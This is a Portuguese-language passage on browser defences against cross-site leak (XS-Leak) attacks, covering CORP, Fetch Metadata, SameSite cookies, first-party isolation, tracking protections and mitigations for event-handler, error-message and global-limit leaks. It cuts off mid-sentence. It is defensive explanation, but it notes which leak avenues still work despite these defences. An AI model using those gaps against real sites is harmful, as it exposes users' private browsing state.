* **Solicitações JavaScript**. As solicitações JavaScript de origem cruzada são frequentemente usadas em ataques XS-Leak, porque um invasor tem controle refinado sobre a solicitação emitida. No entanto, como essas solicitações não são habilitadas para CORS, elas estão sujeitas às mesmas restrições que as solicitações enviadas por elementos HTML, como scripts ou imagens. Assim, o impacto dessa técnica de vazamento também pode ser **mitigado por CORP e CORB**.
|
||
|
||
Métodos mais genéricos:
|
||
|
||
* **Metadados de busca**. Esses cabeçalhos de solicitação permitem que os proprietários do servidor entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, os cabeçalhos Sec-Fetch-\* são adicionados automaticamente a cada solicitação e fornecem metadados sobre a proveniência da solicitação. Por exemplo, Sec-Fetch-Dest: imagem foi acionado a partir de um elemento de imagem. As aplicações da Web podem então optar por bloquear solicitações com base nessas informações.
|
||
* **Cookies Same-Site**. O sinalizador Same-Site permite que os sites declarem **se um cookie deve ser restrito ao contexto de mesmo site ou de primeira parte**. Todos os principais navegadores suportam cookies Same-Site. No GC, os cookies sem o atributo agora são Lax por padrão. Para XS-Leaks, **os cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento**. Por outro lado, as técnicas de vazamento que dependem de **`window.open` ainda funcionam com `SameSite=Lax`**. Os sites que usam **outros métodos de autenticação**, como certificados do lado do cliente e autenticação HTTP, **permanecem vulneráveis**.
|
||
* **Desvinculação de Identificador de Origem Cruzada (COIU)**. COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do FF (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, é um contexto de mesmo site estendido. Ele **vincula vários recursos** (por exemplo, cookies, cache, armazenamentos do lado do cliente) **à primeira parte** em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade do XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
|
||
* **Proteções de Rastreamento**. A Apple implementou um mecanismo de privacidade chamado **Prevenção de Rastreamento Inteligente (ITP)** no SA que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da Web. Em versões mais recentes do SA, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções \[74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O FF adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles apenas bloqueiam cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto do XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
|
||
* **Extensões do Navegador**. Usuários conscientes da segurança podem usar **extensões do navegador para impedir certos métodos de inclusão**.
|
||
|
||
### Mitigações de Técnicas de Vazamento
|
||
|
||
* **Manipulador de Eventos**. A **mitigação mais eficaz** nesta técnica de vazamento seria **negá-los todos**, mas isso quebraria a maioria das aplicações da Web na Internet. Portanto, propomos **reduzir o número de informações necessárias que podem ser coletadas dentro dos eventos**. Por exemplo, o evento de violação do CSP não deve conter a URL de destino de redirecionamento no campo blockedURI. Esse comportamento é implementado no FF e em versões mais recentes do GC - apenas o SA permanece vulnerável.
|
||
* **Mensagens de Erro**. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, existem dois requisitos principais. Primeiro, **as mensagens de erro não devem conter informações detalhadas**, semelhantes às mensagens do manipulador de eventos. Em segundo lugar, os navegadores devem **minimizar as ocorrências de mensagens de erro**. XS-Leaks, como Erro SRI, XFO do ContentDocument ou Redirecionamento de Busca, detectam se uma mensagem de erro é lançada ou não.
|
||
* **Limites Globais**. Corrigir as técnicas de vazamento que abusam dos limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é, portanto, **restringir os limites globais em uma pequena base por site**. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface do usuário de pagamento da Web a qualquer momento, o que só terá sucesso se a interface do usuário não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável
|